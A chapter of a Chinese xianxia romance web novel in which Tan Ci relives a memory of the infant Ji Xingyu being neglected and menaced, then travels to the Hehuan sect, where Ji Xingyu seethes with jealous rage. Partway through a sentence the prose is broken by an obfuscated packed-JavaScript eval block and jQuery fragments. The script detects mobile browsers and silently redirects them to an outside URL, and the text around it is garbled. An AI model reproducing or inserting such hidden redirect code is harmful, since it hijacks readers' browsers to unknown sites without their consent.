檀慈并不知道自己的识海已经被入侵。她又穿进记忆碎片中姬行玉的身体里，变成了稚童的模样，躺在摇篮里。


    如果说上次姬行玉的年龄在一岁左右，那么他现在应该已经三四岁，手脚都长大了不少，但却极其细瘦，露出嶙峋的骨节。


    他身体虚弱，全身酸软无力，连抬胳膊这种简单的动作都十分吃力。按理说上个记忆碎片里，他的父亲对他很好，应该不至于把他饿成这般营养不良的样子。


    檀慈正在奇怪，只见摇篮外伸出一双粗糙的手臂，将她抱了出来。一个妇人抱着她，慈爱地拿了一个拨浪鼓逗弄，画面几乎和上个记忆碎片中别无二致。


    且不说三岁的孩子应该能跑能跳了，现在却窝在摇篮里瘦弱得皮包骨头，动弹不得。就说这陌生妇人明显是仆从的装扮，五官也与姬行玉并不相似。


    妇人将她抱在怀里，轻轻地来回摇晃，面部肌肉僵硬，像是勉强控制着动作。


    她脸上是笑着的，目光却冰冷空洞，失去了焦距般，嘴里哼唱道：“稀奇稀奇真稀奇，蚂蚁踩死大公鸡。爹爹睡在摇篮里，宝宝唱着摇篮曲。”


    又是上次的拨浪鼓，又是相同的童谣，檀慈几乎毛骨悚然地战栗起来。


    她心里发毛，却见另一个女子从门外走进来。这女子极其美丽，清如水中芙蓉，艳如春日桃花，冷如雪山腊梅，俏如雨后海棠。


    她目光泠然，周身像是萦绕着一层缥缈仙气，看不真切，恍如梦中。令人自惭形秽，不忍亵渎。


    她的眼型是和姬行玉一样的桃花眼，两人五官有三分相似。檀慈下意识断定这是姬行玉的母亲。


    女子蹙起柳眉，见妇人抱着她，不悦道：“抱着他做甚？把他丢到摇篮里，让他自生自灭就好。”


    而自从她出现后，妇人的视线便牢牢地固定在她身上不动，像是不小心粘上的恶心的口香糖，黏在身上后再也撕不下来。


    妇人目不转睛地看着她，在她心生疑虑前很快垂下头去，克制地收回视线：“好的，娘子。”


    女子更加不悦，却又自恃身份，不好责怪这凡人仆从一般：“说过了不要这样叫我，称呼我为小姐就行。我目前虽灵力尽失，在凡间还是足以自保，也能护住你，不用装作已婚妇人。”


    她顿了顿，又道：“我给了你报酬，你只管按照我说的去做，不要对这孩子好。把他扔在那里就行，反正他不会饿死。”


    妇人犹豫了一瞬，像是心生不忍地开口道：“可是……您连姓名都不给他起，我也不知道如何唤他，他毕竟是一条生命……”


    “生命？”女子声音猛地尖锐起来，失控般泄露出一丝恨意，“这孽种倒是有姓名，但他不配！你又何必知晓他的名字？他死了才算是干净！”


    檀慈不可置信地瞪大眼睛，思绪混乱不堪。不管怎样，姬行玉现在只是一个稚子，还虚弱成这样，只能躺在摇篮里。


    而他的父母对他的态度简直是截然相反，父亲表面上看来对他还好，母亲却如此憎恶。


    女子自知话语间失了分寸，很快平复下来，再开口时冷淡不少：“算了，你再怎么对他好，他也只会这般虚弱。不管不顾，他还能多苟延残喘几日。”


    “他这辈子一定会早夭，不是死在我手上，就是死在他父亲手上。”


    檀慈如遭雷击，不知她何出此言。这话的意思倒像是父母两人都恨不得姬行玉去死一般。她越发疑惑姬行玉的身世。


    女子警告了一番妇人不要多管闲事，很快便离开了，让妇人没什么事不要打扰她。她走了之后，妇人把“姬行玉”放回摇篮里，盯着他不知道在想什么。


    她神色恍惚，手指抚上“姬行玉”的脖颈，细细地摩挲。她虚虚抬起手指，在脖颈处来回张开收紧，像是在测试掐死这孩子的动作。


    半晌后，妇人收回手，露出一个皮笑肉不笑的诡异微笑：“行玉，现在还不到时候。”


    檀慈心中大骇，像是掀起了惊涛巨浪。前脚刚听女子所说，她并未告知妇人姬行玉的姓名，这妇人却知晓他的名字，究竟是什么来头？


    她还想再看妇人下一步动作，却见画面逐渐发白褪色，记忆碎片消散。


    檀慈睁开眼睛，正对上姬行玉的视线。他撑着下巴盯着她看，玉镯仿佛坏了一般，时冷时热，温度变换莫测。


    檀慈的手臂一会儿温热一会儿冰冷，刺激得她蹙起眉毛。


    脑海中的进度条频频闪烁，却并未向前延伸。她奇怪地问系统这两样都是正常的吗，得到肯定的答复，确认并没有损坏。


    檀慈心下不安，却又看不出异常之处，只以为是她多虑了。姬行玉灼热的目光落在身上，她回以疑惑的询问眼神，这人反倒移开目光，落至她的手腕玉镯处。


    姬行玉知晓檀慈的脾气。她虽表面上乖巧，内里却有自己的主意。就像龙女村他明明给过机会，警告她关于一线牵情蛊，不要欺骗他。


    她却还是隐瞒下来，直到月圆之夜，才得知他早就知晓一线牵情蛊的奥秘。


    所以关于她识海里的异象，关于攻略进度这种稀奇东西，他不会明面上问她的。一来是她绝对不会告知，二来是会打草惊蛇。还不如他自己暗中查探。


    甚至他隐隐约约有种预感，这个叫做攻略进度的东西，会打破二人之间表面上现有的平衡。


    姬行玉想起檀慈的身世，想起自己之前怎么回忆都想不起来初见时她的面容，心中的疑团越滚越大。


    他并不介意檀慈隐瞒这些，毕竟他也有事情瞒着她。


    他焦虑的是，檀慈会因为这些弃他而去，而他却无法在这种超过他认知的事物上，继续将她牢牢掌控在手中。


    不过接下来的合欢宗之行，他们二人会是彼此最亲近之人，到时候这些或许都会迎来转机，他会找到新的突破口。


    姬行玉平复好思绪，看着檀慈微笑起来。


    *


    七日后，合欢宗。


    合欢宗追求唯美意境，将宗门内屋舍建得极为精美。他们仿照凡间江南水乡，建造了不少临水而居的小屋，再配上水中用来游湖的木舟，看起来赏心悦目。


    湖里种了许多荷花，碧绿的荷叶漂在水面上。女修们赤裸双足，身轻如燕地在荷叶上足尖微点，轻巧地掠过，姿态柔美地落至地面上。


    合欢宗弟子向来开放大胆，见梅雨浓带了两个生面孔回来，二人又都是容颜绝世，龙章凤姿。一时之间颇感兴趣，纷纷青睐地投以花枝。


    梅雨浓无奈地摇头，向他们解释：“凡间有掷果盈车来表示倾心。宗门仿照凡间，改用投掷花枝表示爱慕，你们不要见怪。这些花枝基本都是杂役弟子编织来卖，买的人很多，在宗门内很是火爆。”


    合欢宗弟子多情，又喜好享受，有现成的花枝便不会亲自动手去做。直接买来许多，投掷用空后再买一批新的。


    而且这种小玩意儿，投掷一次便消耗掉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15017056|157823||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了，谁又会花费心思亲手去做？


    师兄妹身上缠满了花枝，檀慈取下一条细细观察。这花枝取了几种不同种类的花连同枝条，编织扭结而成，五颜六色。有手臂那么长，如绳索一般挂在身上。


    还好用了灵力轻飘飘投掷，不然若是直接扔过来，很有可能如鞭打一般疼痛。


    梅雨浓提醒道：“花枝缠绕身间，寓意想要把你绑在自己身边。任由花枝挂在身上，就说明收下了这份心意，愿意与他们春风一度。如果想要拒绝，还是赶快取下来吧。”


    闻言檀慈手忙脚乱地取下身上花枝，放至路边的花树下。她来此拜访，有求于人，不敢直接视若无睹地扔掉，只把这些花枝充作肥料滋养花树。


    不料弟子们见她举止温柔，越发来劲。檀慈还没取完花枝，身上又挂满了一堆。


    姬行玉和煦的脸色猛地阴沉下来。真是一群贱人！一堆臭虫！一堆蝼蚁！一群没脸没皮的烂货！都出身合欢宗了，浪荡多情，还要来招惹他的小慈。该杀！该杀！该杀！


    这景象越发刺眼，姬行玉不耐烦地拧眉，用荧惑幻化成的匕首虚空划过，斩断了檀慈身上的花枝。又运转灵力，震碎了自己身上的。


    他手中空虚，斩断花枝犹嫌不够，还想再把这群贱货碾碎。面容扭曲，脑海中全被密密麻麻的“杀”字覆盖，握着荧惑的手指越来越用力。


    他脸色阴沉得快要滴水，几乎快要克制不住自己的杀意。檀慈察觉到他不太对劲，又为了解决眼前窘境，一把握住他空闲的左手。她将两人交握的手指举至半空，示意地晃了晃。


    这显然是在告诉所有人他们俩是一对。合欢宗弟子顿时失望地停手，收起还未投出的花枝。


    姬行玉眼底的阴翳一点一点消散，失控的心情平缓下来。檀慈偶尔的直接大胆，宛如神来一笔，总能成功地安抚他。


    他面色欠佳，突然开口道：“我还以为，你会给我一条花枝。”


    言下之意是檀慈口口声声喜欢他，入乡随俗，他以为她会效仿合欢宗弟子，把刚刚那些花枝给他一条，以表喜爱倾慕。


    “不会，”檀慈想都没想，理所当然道，“我如果给你花枝，必定是我亲手做的独一无二的花枝。别人的花枝，那就是别人的心意。虽然是我直接给你，那也太过敷衍。”


    她觉得把别人的花枝给他有点奇怪，像是借花献佛，不赞成地看了他一眼，“我的花枝自然要由我的心意制成，不会经由他人之手。这就是我对喜爱之人的真诚。”


    檀慈是真的这么想的，她真心喜爱的人，总会认真地对待。就像她小学时流行折纸星星，也有很多人卖折好的成品。


    但她送姐姐的生日礼物是满满一罐子纸星星，全是她挑了不同颜色不同样式的纸条，写了不同的愿望祝福，一颗一颗亲手折成的。


    姐姐收到后很高兴，拆开看了所有的愿望，又折了回去。现在还完好地保存着那一罐子纸星星。


    在这种无聊的小事上，檀慈总是执拗，也总有自己微不足道的坚持。


    “所以师兄，你不要着急。我现在既然已经知道了这种习俗，等做完之后，我会亲手送给你的。”檀慈转头看向他，认真地承诺道。


    她神情郑重，像是本来就必须这样的约定俗成。脸色做不得假，话语里明晃晃的偏心。


    梅雨浓似乎明白姬行玉为什么对她如此执着了，他的心里突然涌上一丝恨意，妒火在心中熊熊燃烧。